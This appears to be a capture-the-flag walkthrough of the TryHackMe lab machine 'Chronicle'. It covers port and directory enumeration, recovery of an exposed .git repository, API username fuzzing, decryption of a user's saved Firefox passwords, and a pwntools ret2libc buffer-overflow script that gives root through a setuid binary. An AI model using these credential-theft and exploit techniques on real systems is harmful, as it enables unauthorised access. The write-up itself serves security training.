Chronicles
Introduction#
Today we have a medium box called chronicle where we do some git forensics to get a key that gives us some user access into the machine and then doing some bit of browser forensics that enables us to move laterally as another user. Where we now find a binary that we can use to escalate our privileges. Here is the challenge link.
Enumaration#
So first of all we can start by doing some basic enumaration just to have a good idea of what our target looks like. First of all I like using whatweb
to get some juicy information like, we find that our target is running on ubuntu and powered by apache and the apache version.
dexter@lab:~/lab/THM/chronicle$ whatweb http://10.10.202.252
http://10.10.202.252 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.202.252]
Next up we can then run an Nmap
scan, where this helps us to scan for open portson our target.
dexter@lab:~/lab/THM/chronicle$ sudo nmap -sCV 10.10.202.252 -vv
[sudo] password for dexter:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-15 05:56 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:56
Completed NSE at 05:56, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:56
Completed NSE at 05:56, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:56
Completed NSE at 05:56, 0.00s elapsed
Initiating Ping Scan at 05:56
Scanning 10.10.202.252 [4 ports]
Completed Ping Scan at 05:56, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:56
Completed Parallel DNS resolution of 1 host. at 05:56, 0.03s elapsed
Initiating SYN Stealth Scan at 05:56
Scanning 10.10.202.252 [1000 ports]
Discovered open port 22/tcp on 10.10.202.252
Discovered open port 80/tcp on 10.10.202.252
Discovered open port 8081/tcp on 10.10.202.252
Increasing send delay for 10.10.202.252 from 0 to 5 due to 284 out of 945 dropped probes since last increase.
Increasing send delay for 10.10.202.252 from 5 to 10 due to 11 out of 14 dropped probes since last increase.
Increasing send delay for 10.10.202.252 from 10 to 20 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.202.252 from 20 to 40 due to 11 out of 16 dropped probes since last increase.
Increasing send delay for 10.10.202.252 from 40 to 80 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 10.10.202.252 from 80 to 160 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 10.10.202.252 from 160 to 320 due to 11 out of 12 dropped probes since last increase.
Increasing send delay for 10.10.202.252 from 320 to 640 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 10.10.202.252 from 640 to 1000 due to 11 out of 11 dropped probes since last increase.
Completed SYN Stealth Scan at 05:57, 67.97s elapsed (1000 total ports)
Initiating Service scan at 05:57
Scanning 3 services on 10.10.202.252
Completed Service scan at 05:57, 6.76s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.202.252.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:57
Completed NSE at 05:57, 7.67s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:57
Completed NSE at 05:57, 0.72s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:57
Completed NSE at 05:57, 0.00s elapsed
Nmap scan report for 10.10.202.252
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2024-02-15 05:56:33 EST for 83s
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b2:4c:49:da:7c:9a:3a:ba:6e:59:46:c2:a9:e6:a2:35 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDELanAivcbXHH+RqBWDQUmT0TJPTzxJ4XOLkZ4hQYAYCUXQ25C24k6ijW6MnKiImF9m9CoMdlzXIAC/DYArGJu+q5L68V1SAaqtS5YljXGb517Qi4ixekjaLua9Z+Du00c0nGWC46WA+JCjI6UP8FlTyNONXJ4Wv8T7ZA6T8rTrWZWd6dSTIKaZaN8fsD31cIJMuX2whX8IczzwzFuxp2ucPLJ0IwpoiX3ubuqUz4kkNi8FI5T2hweqqygLPmdA8AySZrIbmC4AusmmHwSf99aUHXjZ5Z6fHbHAwH0dsGDFaDvHuVFEp4l1h9TpZiKghUllDx9+6eRyKprJMpfvXZ1
| 256 7a:3e:30:70:cf:32:a4:f2:0a:cb:2b:42:08:0c:19:bd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPxb2LHHqkJNa+RUETb+7kg2rLKG3IxkiOZnG3YP7R5hd2KqQC1eJL1UyHcBKdOYrFllM43rkqfDVSxtm2f/ivc=
| 256 4f:35:e1:33:96:84:5d:e5:b3:75:7d:d8:32:18:e0:a8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPwYIfNblUpR0Hf/77s33mZq1OUXZD4jQacBQBwiLapr
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
8081/tcp open http syn-ack ttl 63 Werkzeug httpd 1.0.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:57
Completed NSE at 05:57, 0.01s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:57
Completed NSE at 05:57, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:57
Completed NSE at 05:57, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.40 seconds
Raw packets sent: 1440 (63.336KB) | Rcvd: 1087 (44.016KB)
Nice we see we have three open ports including port 22(ssh), port 80(http), port 8081(http). Next we can fire up gobuster in order to enumarate for hidden directories.
dexter@lab:~/lab/THM/chronicle$ gobuster dir -u http://10.10.202.252/ --wordlist /usr/share/dirb/wordlists/common.txt -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.202.252/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 15]
/old (Status: 301) [Size: 312] [--> http://10.10.202.252/old/]
/server-status (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Gobuster brings up results of directories with some status codes The status code 301 is a redirection message that tells us the requested resource has been changed permanently and that the new URL is given in the response. So in our exampl we are given the new URL.
Exploitation#
We can then visit the URL and we are met by some directory lists.
We can see we have a note.txt which we can can have a look, could be some developer note in there.
dexter@lab:~/lab/THM/chronicle$ curl 10.10.202.252/old/note.txt
Everything has been moved to new directory and the webapp has been deployed
Not really much there right. Maybe we can get the whole directory into our machine using wget
dexter@lab:~/lab/THM/chronicle$ wget --recursive http://10.10.202.252/old/.git --continue
--2024-02-15 06:05:43-- http://10.10.202.252/old/.git
Connecting to 10.10.202.252:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://10.10.202.252/old/.git/ [following]
--2024-02-15 06:05:44-- http://10.10.202.252/old/.git/
Reusing existing connection to 10.10.202.252:80.
HTTP request sent, awaiting response... 200 OK
Length: 2891 (2.8K) [text/html]
Saving to: ‘10.10.202.252/old/.git’
Git enumaration#
We can check git logs now and see if commits and changes have been made before. We can do this by doing git log -p
that will get all the commits and changes.
Going down the changes we see that we get something interesting here.
Author: root <[email protected]>
Date: Fri Mar 26 22:34:33 2021 +0000
Finishing Things
diff --git a/app.py b/app.py
index 8c729fd..cbf47f5 100644
--- a/app.py
+++ b/app.py
@@ -22,11 +22,11 @@ def info(uname):
print("OK")
data=request.get_json(force=True)
print(data)
- if(data['key']=='abcd'):
+ if(data['key']=='7454c262d0d5a3a0c0b678d6c0dbc7ef'):
if(uname=="admin"):
- return '{"username":"admin","password":"password"}'
+ return '{"username":"admin","password":"password"}' #Default Change them as required
elif(uname=="someone"):
- return '{"username":"someone","password":"someword"}'
+ return '{"username":"someone","password":"someword"}' #Some other user
else:
return 'Invalid Username'
else:
This looks like a key, but where do is the key required, Maybe something under port 8081.
And interesting enough we see a login page.
Interesting enough we see that we only the forgot password button works, we can try to fire up burp and maybe capture what the request does.
Okay we see a request that uses a key and brings back an invalid username response, interesting yea, maybe we can try and fuzz to find possible users who use the the key or something, using ffuf
.
dexter@lab:~/lab/THM/chronicle/10.10.202.252/old$ ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -X POST -d '{"key":"7454c262d0d5a3a0c0b678d6c0dbc7ef"}' -u http://10.10.202.252:8081/api/FUZZ -fw 2
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.202.252:8081/api/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
:: Data : {"key":"7454c262d0d5a3a0c0b678d6c0dbc7ef"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 2
________________________________________________
tommy [Status: 200, Size: 49, Words: 1, Lines: 1, Duration: 162ms]
someone [Status: 200, Size: 49, Words: 1, Lines: 1, Duration: 153ms]
?????? [Status: 405, Size: 178, Words: 20, Lines: 5, Duration: 185ms]
????? [Status: 405, Size: 178, Words: 20, Lines: 5, Duration: 161ms]
:: Progress: [10000/10000] :: Job [1/1] :: 75 req/sec :: Duration: [0:01:45] :: Errors: 0 ::
Okay we get two possible usernames on the same and we can go back to burp and try and see if we get a sort of response using the following usernames.
So now changing the usernames we can now get the passwords and now we can try and use ssh to connet to the machine.
dexter@lab:~/lab/THM/chronicle$ ssh [email protected]
The authenticity of host '10.10.202.252 (10.10.202.252)' can't be established.
ED25519 key fingerprint is SHA256:B60EpPl2+Wzi63sLsxMDA4mwQ4W1Rc98XeO/0rlYvCM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.202.252' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Feb 15 11:34:19 UTC 2024
System load: 0.09 Processes: 99
Usage of /: 60.6% of 8.79GB Users logged in: 0
Memory usage: 41% IP address for eth0: 10.10.202.252
Swap usage: 0%
73 packages can be updated.
1 update is a security update.
*** System restart required ***
Last login: Fri Apr 16 14:05:02 2021 from 192.168.29.217
tommy@incognito:~$ ls
user.txt web
tommy@incognito:~$ cat user.txt
We area able to connect and we find the user flag there. We then see we cannot really do much as user tommy
so we might need to move laterally or try and escalate our privileges.
So moving into our home directory we actually find out that there is another user
tommy@incognito:/home$ ls
carlJ tommyV
From here we can send over linpeas
to try and do some further enumaration on our target machine.
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/cert9.db: SQLite 3.x database, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/content-prefs.sqlite: SQLite 3.x database, user version 4, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/cookies.sqlite: SQLite 3.x database, user version 12, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/favicons.sqlite: SQLite 3.x database, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/formhistory.sqlite: SQLite 3.x database, user version 4, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/key4.db: SQLite 3.x database, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/permissions.sqlite: SQLite 3.x database, user version 11, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/places.sqlite: SQLite 3.x database, user version 53, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/protections.sqlite: SQLite 3.x database, user version 1, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage/default/moz-extension+++dd7547ec-9377-4ab1-9ad9-c12821434fc2^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite: SQLite 3.x database, user version 416, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite: SQLite 3.x database, user version 416, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite: SQLite 3.x database, user version 416, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite: SQLite 3.x database, user version 416, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage/permanent/chrome/idb/2918063365piupsah.sqlite: SQLite 3.x database, user version 416, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage/permanent/chrome/idb/3561288849sdhlie.sqlite: SQLite 3.x database, user version 416, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite: SQLite 3.x database, user version 416, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/storage.sqlite: SQLite 3.x database, user version 131075, last written using SQLite version 3032003
Found /home/carlJ/.mozilla/firefox/0ryxwn4c.default-release/webappsstore.sqlite: SQLite 3.x database, user version 2, last written using SQLite version 3032003
Found /var/lib/mlocate/mlocate.db: regular file, no read permission
This bit was very interesting to me as we see we have some browser profile, which means we could have some saved passwords. Let us dig through.
tommy@incognito:/home/carlJ/.mozilla/firefox/0ryxwn4c.default-release$ cat logins.json
{"nextId":2,"logins":[{"id":1,"hostname":"https://incognito.com","httpRealm":null,"formSubmitURL":"","usernameField":"","passwordField":"","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECH3X/raFuZgKBAigmhgQUXDMnw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECIe5VgWeABJZBBB7v9DPVoaXvgQm79RM1WuM","guid":"{32c188bb-6b46-45b4-b566-4b1d8e1c8f87}","encType":1,"timeCreated":1616952631202,"timeLastUsed":1616952631202,"timePasswordChanged":1616952631202,"timesUsed":1}],"potentiallyVulnerablePasswords":[],"dismissedBreachAlertsByLoginGUID":{},"version":3}
Interesting enough, looking at the logins json file we see that we have an encrypted username and an encrypted password. We could download this and use a neat decrypt script. To learn more about browser forensics I used my good friend’s article. Where he talks about how he was able to decrypt a profile to get some information that was stored in there, we can also use the same ideas to work around here.
Using firefox decrypt script we are actually able to crack our profile and get a username and password as so
dexter@lab:~/lab/THM/chronicle$ python3 firefox_decrypt.py /home/dexter/lab/THM/chronicle/10.10.202.252:8080/0ryxwn4c.default-release
2024-02-15 08:00:01,162 - WARNING - profile.ini not found in /home/dexter/lab/THM/chronicle/10.10.202.252:8080/0ryxwn4c.default-release
2024-02-15 08:00:01,164 - WARNING - Continuing and assuming '/home/dexter/lab/THM/chronicle/10.10.202.252:8080/0ryxwn4c.default-release' is a profile location
Primary Password for profile /home/dexter/lab/THM/chronicle/10.10.202.252:8080/0ryxwn4c.default-release:
Website: https://incognito.com
Username: 'dev'
Password: 'Pas$w0RD59247'
So no we can use that and ssh to the other user we saw earlier
dexter@lab:~/lab/THM/chronicle$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Feb 15 13:04:26 UTC 2024
System load: 0.0 Processes: 101
Usage of /: 60.9% of 8.79GB Users logged in: 0
Memory usage: 55% IP address for eth0: 10.10.202.252
Swap usage: 0%
73 packages can be updated.
1 update is a security update.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
*** System restart required ***
Last login: Sat Apr 3 20:24:03 2021 from 192.168.29.217
carlJ@incognito:~$
Privilege escalation#
So now looking around under the mailing directory we find ourselves a little binary.
carlJ@incognito:~/mailing$ ls -la
total 20
drwx------ 2 carlJ carlJ 4096 Apr 16 2021 .
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11 2021 ..
-rwsrwxr-x 1 root root 8544 Apr 3 2021 smail
Our executable is owned by root, and this really is interesting since we can use some binary exploitation skills to enable us to get root.
So here we notice we have something like a return to libc form of methodology, where we call the system function that already resides in the libc, since again the binary is dynamically allocated.
To check for the libc being used by the binary we use ldd
example
carlJ@incognito:~/mailing$ ldd smail
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)
carlJ@incognito:~/mailing$ ldd smail
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff79e2000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd3000)
carlJ@incognito:~/mailing$
We notice that our libc does not change the base so that would mean that ASLR
is off here.
What is ASLR though? ASLR or address space layout randomization is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities ASLR
What ASLR does is randomize memory addresses making it more difficult to predict a target address.
So in our case we don’t have that on and so predicting target addresses is pretty simple, we can now predict where the system call is and actually call it and get a shell as root.
from pwn import *
p = process('./smail')
base = 0x00007ffff79e2000 #0x00007f790800e000
sh = base + 0x1b3e1a #0x19604f
system = base + 0x4f550 #0x4c920
pop_rdi = 0x4007f3
ret = 0x400556
buffer = b'A' * 72
payload = buffer + p64(ret) + p64(pop_rdi) + p64(sh) + p64(system) + p64(0x0)
p.clean()
p.sendline(b"2")
p.sendline(payload)
p.interactive()
And we are root.
carlJ@incognito:~/mailing$ python3 a.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/carlJ/.cache/.pwntools-cache-3.6/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.4.0)
[+] Starting local process './smail': pid 10141
[*] Switching to interactive mode
Write your signature...
Changed
$ id
uid=0(root) gid=1002(carlJ) groups=1002(carlJ)